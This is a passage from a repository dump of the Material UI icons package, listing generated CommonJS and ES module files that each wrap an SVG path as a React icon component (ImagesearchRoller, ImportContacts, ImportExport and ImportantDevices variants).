    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2v6H6V6H4v4h10v5h2v8h-6v-8h2v-3H2V4h4V2\"\n}), 'ImagesearchRoller');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImagesearchRoller.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2v6H6V6H4v4h10v5h2v8h-6v-8h2v-3H2V4h4V2\"\n}), 'ImagesearchRoller');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImagesearchRollerOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 7V3c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v1H4c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2h8v3h-1c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-6c0-.55-.45-1-1-1h-1v-3c0-1.1-.9-2-2-2H4V6h2v1c0 .55.45 1 1 1h12c.55 0 1-.45 1-1M8 4h10v2H8zm6 17h-2v-4h2z\"\n}), 'ImagesearchRollerOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImagesearchRollerOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 7V3c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v1H4c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2h8v3h-1c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-6c0-.55-.45-1-1-1h-1v-3c0-1.1-.9-2-2-2H4V6h2v1c0 .55.45 1 1 1h12c.55 0 1-.45 1-1M8 4h10v2H8zm6 17h-2v-4h2z\"\n}), 'ImagesearchRollerOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImagesearchRollerRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 3v4c0 .55-.45 1-1 1H7c-.55 0-1-.45-1-1V6H4v4h8c1.1 0 2 .9 2 2v3h1c.55 0 1 .45 1 1v6c0 .55-.45 1-1 1h-4c-.55 0-1-.45-1-1v-6c0-.55.45-1 1-1h1v-3H4c-1.1 0-2-.9-2-2V6c0-1.1.9-2 2-2h2V3c0-.55.45-1 1-1h12c.55 0 1 .45 1 1\"\n}), 'ImagesearchRollerRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImagesearchRollerRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 3v4c0 .55-.45 1-1 1H7c-.55 0-1-.45-1-1V6H4v4h8c1.1 0 2 .9 2 2v3h1c.55 0 1 .45 1 1v6c0 .55-.45 1-1 1h-4c-.55 0-1-.45-1-1v-6c0-.55.45-1 1-1h1v-3H4c-1.1 0-2-.9-2-2V6c0-1.1.9-2 2-2h2V3c0-.55.45-1 1-1h12c.55 0 1 .45 1 1\"\n}), 'ImagesearchRollerRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImagesearchRollerSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2v6H6V6H4v4h10v5h2v8h-6v-8h2v-3H2V4h4V2z\"\n}), 'ImagesearchRollerSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImagesearchRollerSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2v6H6V6H4v4h10v5h2v8h-6v-8h2v-3H2V4h4V2z\"\n}), 'ImagesearchRollerSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImagesearchRollerTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 4h10v2H8zm4 13h2v4h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 7V3c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v1H4c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2h8v3h-1c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-6c0-.55-.45-1-1-1h-1v-3c0-1.1-.9-2-2-2H4V6h2v1c0 .55.45 1 1 1h12c.55 0 1-.45 1-1M8 4h10v2H8zm6 17h-2v-4h2z\"\n}, \"1\")], 'ImagesearchRollerTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImagesearchRollerTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 4h10v2H8zm4 13h2v4h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 7V3c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v1H4c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2h8v3h-1c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-6c0-.55-.45-1-1-1h-1v-3c0-1.1-.9-2-2-2H4V6h2v1c0 .55.45 1 1 1h12c.55 0 1-.45 1-1M8 4h10v2H8zm6 17h-2v-4h2z\"\n}, \"1\")], 'ImagesearchRollerTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImportContacts.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.5 4.5c-1.95 0-4.05.4-5.5 1.5-1.45-1.1-3.55-1.5-5.5-1.5S2.45 4.9 1 6v14.65c0 .65.73.45.75.45C3.1 20.45 5.05 20 6.5 20c1.95 0 4.05.4 5.5 1.5 1.35-.85 3.8-1.5 5.5-1.5 1.65 0 3.35.3 4.75 1.05.41.21.75-.19.75-.45V6c-1.49-1.12-3.63-1.5-5.5-1.5m3.5 14c-1.1-.35-2.3-.5-3.5-.5-1.7 0-4.15.65-5.5 1.5V8c1.35-.85 3.8-1.5 5.5-1.5 1.2 0 2.4.15 3.5.5z\"\n}), 'ImportContacts');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImportContacts.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.5 4.5c-1.95 0-4.05.4-5.5 1.5-1.45-1.1-3.55-1.5-5.5-1.5S2.45 4.9 1 6v14.65c0 .65.73.45.75.45C3.1 20.45 5.05 20 6.5 20c1.95 0 4.05.4 5.5 1.5 1.35-.85 3.8-1.5 5.5-1.5 1.65 0 3.35.3 4.75 1.05.41.21.75-.19.75-.45V6c-1.49-1.12-3.63-1.5-5.5-1.5m3.5 14c-1.1-.35-2.3-.5-3.5-.5-1.7 0-4.15.65-5.5 1.5V8c1.35-.85 3.8-1.5 5.5-1.5 1.2 0 2.4.15 3.5.5z\"\n}), 'ImportContacts');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImportContactsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 5c-1.11-.35-2.33-.5-3.5-.5-1.95 0-4.05.4-5.5 1.5-1.45-1.1-3.55-1.5-5.5-1.5S2.45 4.9 1 6v14.65c0 .25.25.5.5.5.1 0 .15-.05.25-.05C3.1 20.45 5.05 20 6.5 20c1.95 0 4.05.4 5.5 1.5 1.35-.85 3.8-1.5 5.5-1.5 1.65 0 3.35.3 4.75 1.05.1.05.15.05.25.05.25 0 .5-.25.5-.5V6c-.6-.45-1.25-.75-2-1m0 13.5c-1.1-.35-2.3-.5-3.5-.5-1.7 0-4.15.65-5.5 1.5V8c1.35-.85 3.8-1.5 5.5-1.5 1.2 0 2.4.15 3.5.5z\"\n}), 'ImportContactsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImportContactsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 5c-1.11-.35-2.33-.5-3.5-.5-1.95 0-4.05.4-5.5 1.5-1.45-1.1-3.55-1.5-5.5-1.5S2.45 4.9 1 6v14.65c0 .25.25.5.5.5.1 0 .15-.05.25-.05C3.1 20.45 5.05 20 6.5 20c1.95 0 4.05.4 5.5 1.5 1.35-.85 3.8-1.5 5.5-1.5 1.65 0 3.35.3 4.75 1.05.1.05.15.05.25.05.25 0 .5-.25.5-.5V6c-.6-.45-1.25-.75-2-1m0 13.5c-1.1-.35-2.3-.5-3.5-.5-1.7 0-4.15.65-5.5 1.5V8c1.35-.85 3.8-1.5 5.5-1.5 1.2 0 2.4.15 3.5.5z\"\n}), 'ImportContactsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImportContactsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.5 4.5c-1.95 0-4.05.4-5.5 1.5-1.45-1.1-3.55-1.5-5.5-1.5-1.45 0-2.99.22-4.28.79C1.49 5.62 1 6.33 1 7.14v11.28c0 1.3 1.22 2.26 2.48 1.94.98-.25 2.02-.36 3.02-.36 1.56 0 3.22.26 4.56.92.6.3 1.28.3 1.87 0 1.34-.67 3-.92 4.56-.92 1 0 2.04.11 3.02.36 1.26.33 2.48-.63 2.48-1.94V7.14c0-.81-.49-1.52-1.22-1.85-1.28-.57-2.82-.79-4.27-.79M21 17.23c0 .63-.58 1.09-1.2.98-.75-.14-1.53-.2-2.3-.2-1.7 0-4.15.65-5.5 1.5V8c1.35-.85 3.8-1.5 5.5-1.5.92 0 1.83.09 2.7.28.46.1.8.51.8.98z\"\n}), 'ImportContactsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImportContactsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.5 4.5c-1.95 0-4.05.4-5.5 1.5-1.45-1.1-3.55-1.5-5.5-1.5-1.45 0-2.99.22-4.28.79C1.49 5.62 1 6.33 1 7.14v11.28c0 1.3 1.22 2.26 2.48 1.94.98-.25 2.02-.36 3.02-.36 1.56 0 3.22.26 4.56.92.6.3 1.28.3 1.87 0 1.34-.67 3-.92 4.56-.92 1 0 2.04.11 3.02.36 1.26.33 2.48-.63 2.48-1.94V7.14c0-.81-.49-1.52-1.22-1.85-1.28-.57-2.82-.79-4.27-.79M21 17.23c0 .63-.58 1.09-1.2.98-.75-.14-1.53-.2-2.3-.2-1.7 0-4.15.65-5.5 1.5V8c1.35-.85 3.8-1.5 5.5-1.5.92 0 1.83.09 2.7.28.46.1.8.51.8.98z\"\n}), 'ImportContactsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImportContactsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 5c-1.11-.35-2.33-.5-3.5-.5-1.95 0-4.05.4-5.5 1.5-1.45-1.1-3.55-1.5-5.5-1.5S2.45 4.9 1 6v15.5C2.45 20.4 4.55 20 6.5 20s4.05.4 5.5 1.5c1.45-1.1 3.55-1.5 5.5-1.5 1.17 0 2.39.15 3.5.5.75.25 1.4.55 2 1V6c-.6-.45-1.25-.75-2-1m0 13.5c-1.1-.35-2.3-.5-3.5-.5-1.7 0-4.15.65-5.5 1.5V8c1.35-.85 3.8-1.5 5.5-1.5 1.2 0 2.4.15 3.5.5z\"\n}), 'ImportContactsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImportContactsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 5c-1.11-.35-2.33-.5-3.5-.5-1.95 0-4.05.4-5.5 1.5-1.45-1.1-3.55-1.5-5.5-1.5S2.45 4.9 1 6v15.5C2.45 20.4 4.55 20 6.5 20s4.05.4 5.5 1.5c1.45-1.1 3.55-1.5 5.5-1.5 1.17 0 2.39.15 3.5.5.75.25 1.4.55 2 1V6c-.6-.45-1.25-.75-2-1m0 13.5c-1.1-.35-2.3-.5-3.5-.5-1.7 0-4.15.65-5.5 1.5V8c1.35-.85 3.8-1.5 5.5-1.5 1.2 0 2.4.15 3.5.5z\"\n}), 'ImportContactsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImportContactsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 5c-1.11-.35-2.33-.5-3.5-.5-1.95 0-4.05.4-5.5 1.5-1.45-1.1-3.55-1.5-5.5-1.5S2.45 4.9 1 6v14.65c0 .25.25.5.5.5.1 0 .15-.05.25-.05C3.1 20.45 5.05 20 6.5 20c1.95 0 4.05.4 5.5 1.5 1.35-.85 3.8-1.5 5.5-1.5 1.65 0 3.35.3 4.75 1.05.1.05.15.05.25.05.25 0 .5-.25.5-.5V6c-.6-.45-1.25-.75-2-1M3 18.5V7c1.1-.35 2.3-.5 3.5-.5 1.34 0 3.13.41 4.5.99v11.5C9.63 18.41 7.84 18 6.5 18c-1.2 0-2.4.15-3.5.5m18 0c-1.1-.35-2.3-.5-3.5-.5-1.34 0-3.13.41-4.5.99V7.49c1.37-.59 3.16-.99 4.5-.99 1.2 0 2.4.15 3.5.5z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 7.49c-1.37-.58-3.16-.99-4.5-.99-1.2 0-2.4.15-3.5.5v11.5c1.1-.35 2.3-.5 3.5-.5 1.34 0 3.13.41 4.5.99z\",\n  opacity: \".3\"\n}, \"1\")], 'ImportContactsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImportContactsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 5c-1.11-.35-2.33-.5-3.5-.5-1.95 0-4.05.4-5.5 1.5-1.45-1.1-3.55-1.5-5.5-1.5S2.45 4.9 1 6v14.65c0 .25.25.5.5.5.1 0 .15-.05.25-.05C3.1 20.45 5.05 20 6.5 20c1.95 0 4.05.4 5.5 1.5 1.35-.85 3.8-1.5 5.5-1.5 1.65 0 3.35.3 4.75 1.05.1.05.15.05.25.05.25 0 .5-.25.5-.5V6c-.6-.45-1.25-.75-2-1M3 18.5V7c1.1-.35 2.3-.5 3.5-.5 1.34 0 3.13.41 4.5.99v11.5C9.63 18.41 7.84 18 6.5 18c-1.2 0-2.4.15-3.5.5m18 0c-1.1-.35-2.3-.5-3.5-.5-1.34 0-3.13.41-4.5.99V7.49c1.37-.59 3.16-.99 4.5-.99 1.2 0 2.4.15 3.5.5z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 7.49c-1.37-.58-3.16-.99-4.5-.99-1.2 0-2.4.15-3.5.5v11.5c1.1-.35 2.3-.5 3.5-.5 1.34 0 3.13.41 4.5.99z\",\n  opacity: \".3\"\n}, \"1\")], 'ImportContactsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImportExport.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 3 5 6.99h3V14h2V6.99h3zm7 14.01V10h-2v7.01h-3L15 21l4-3.99z\"\n}), 'ImportExport');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImportExport.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 3 5 6.99h3V14h2V6.99h3zm7 14.01V10h-2v7.01h-3L15 21l4-3.99z\"\n}), 'ImportExport');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImportExportOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 3 5 6.99h3V14h2V6.99h3zm7 14.01V10h-2v7.01h-3L15 21l4-3.99z\"\n}), 'ImportExportOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImportExportOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 3 5 6.99h3V14h2V6.99h3zm7 14.01V10h-2v7.01h-3L15 21l4-3.99z\"\n}), 'ImportExportOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImportExportRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.65 3.35 5.86 6.14c-.32.31-.1.85.35.85H8V13c0 .55.45 1 1 1s1-.45 1-1V6.99h1.79c.45 0 .67-.54.35-.85L9.35 3.35c-.19-.19-.51-.19-.7 0M16 17.01V11c0-.55-.45-1-1-1s-1 .45-1 1v6.01h-1.79c-.45 0-.67.54-.35.85l2.79 2.78c.2.19.51.19.71 0l2.79-2.78c.32-.31.09-.85-.35-.85z\"\n}), 'ImportExportRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImportExportRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.65 3.35 5.86 6.14c-.32.31-.1.85.35.85H8V13c0 .55.45 1 1 1s1-.45 1-1V6.99h1.79c.45 0 .67-.54.35-.85L9.35 3.35c-.19-.19-.51-.19-.7 0M16 17.01V11c0-.55-.45-1-1-1s-1 .45-1 1v6.01h-1.79c-.45 0-.67.54-.35.85l2.79 2.78c.2.19.51.19.71 0l2.79-2.78c.32-.31.09-.85-.35-.85z\"\n}), 'ImportExportRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImportExportSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 3 5 6.99h3V14h2V6.99h3zm7 14.01V10h-2v7.01h-3L15 21l4-3.99z\"\n}), 'ImportExportSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImportExportSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 3 5 6.99h3V14h2V6.99h3zm7 14.01V10h-2v7.01h-3L15 21l4-3.99z\"\n}), 'ImportExportSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImportExportTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 6.99h3V14h2V6.99h3L9 3zM14 10v7.01h-3L15 21l4-3.99h-3V10z\"\n}), 'ImportExportTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImportExportTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 6.99h3V14h2V6.99h3L9 3zM14 10v7.01h-3L15 21l4-3.99h-3V10z\"\n}), 'ImportExportTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImportantDevices.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 11.01 18 11c-.55 0-1 .45-1 1v9c0 .55.45 1 1 1h5c.55 0 1-.45 1-1v-9c0-.55-.45-.99-1-.99M23 20h-5v-7h5zM20 2H2C.89 2 0 2.89 0 4v12c0 1.1.89 2 2 2h7v2H7v2h8v-2h-2v-2h2v-2H2V4h18v5h2V4c0-1.11-.9-2-2-2m-8.03 7L11 6l-.97 3H7l2.47 1.76-.94 2.91 2.47-1.8 2.47 1.8-.94-2.91L15 9z\"\n}), 'ImportantDevices');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImportantDevices.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 11.01 18 11c-.55 0-1 .45-1 1v9c0 .55.45 1 1 1h5c.55 0 1-.45 1-1v-9c0-.55-.45-.99-1-.99M23 20h-5v-7h5zM20 2H2C.89 2 0 2.89 0 4v12c0 1.1.89 2 2 2h7v2H7v2h8v-2h-2v-2h2v-2H2V4h18v5h2V4c0-1.11-.9-2-2-2m-8.03 7L11 6l-.97 3H7l2.47 1.76-.94 2.91 2.47-1.8 2.47 1.8-.94-2.91L15 9z\"\n}), 'ImportantDevices');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImportantDevicesOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 11.01 18 11c-.55 0-1 .45-1 1v9c0 .55.45 1 1 1h5c.55 0 1-.45 1-1v-9c0-.55-.45-.99-1-.99M23 20h-5v-7h5zM20 2H2C.89 2 0 2.89 0 4v12c0 1.1.89 2 2 2h7v2H7v2h8v-2h-2v-2h2v-2H2V4h18v5h2V4c0-1.11-.9-2-2-2m-8.03 7L11 6l-.97 3H7l2.47 1.76-.94 2.91 2.47-1.8 2.47 1.8-.94-2.91L15 9z\"\n}), 'ImportantDevicesOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImportantDevicesOutlined.mjs",
